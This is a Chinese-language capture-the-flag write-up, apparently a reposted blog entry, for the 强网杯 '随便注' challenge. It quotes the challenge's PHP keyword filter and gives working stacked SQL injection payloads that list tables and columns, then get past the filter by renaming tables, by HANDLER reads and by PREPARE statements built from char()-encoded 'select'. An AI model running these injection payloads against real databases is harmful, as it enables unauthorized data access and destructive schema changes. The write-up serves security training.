[强网杯]随便注

[强网杯]随便注

当所需的语句被ban时可以考虑,用其他方式实现该语句。但是如果想不出同样可以考虑改变数据来利用本来执行的语句。

打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题。Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
111';show databases#	//查库

111';show tables#		//查表

111';desc `1919810931114514`;#		//查1919810931114514中的列

111';desc words#			//查words中的列

1'order by 2#
1'order by 3#    //得出select了两个数据

因为查询了两个数据,所以查的时words表中的,猜测语句为。

select id,data from words where id = '$_GET[inject]'

方式一

此时我们可以想办法让两表调换,让原语句对我们想要查询的表和字段查询。

  • 修改表名语法
mysql> ALTER TABLE testalter_tbl RENAME TO alter_tbl;
  • 修改字段名及类型语法
mysql> ALTER TABLE testalter_tbl CHANGE i j BIGINT;

EXP:

111';rename table words to qwq;rename table `1919810931114514` to words;alter table words change flag id varchar(100)#

这里要注意不要逐句注入,否则前语句会发生错误导致之后无法执行任何语句

最后爆id拿到flag

1'or 1=1#

方式二

当在Mysql数据库的情况下我们可以使用handler语句。

  • 语法
HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

EXP:

';handler `1919810931114514` open;handler `1919810931114514` read first#

方式三

预处理语句

PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句

变量传递

SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

EXP:

111';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
111';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

猜你喜欢

转载自www.cnblogs.com/Rainsw0rd/p/12611533.html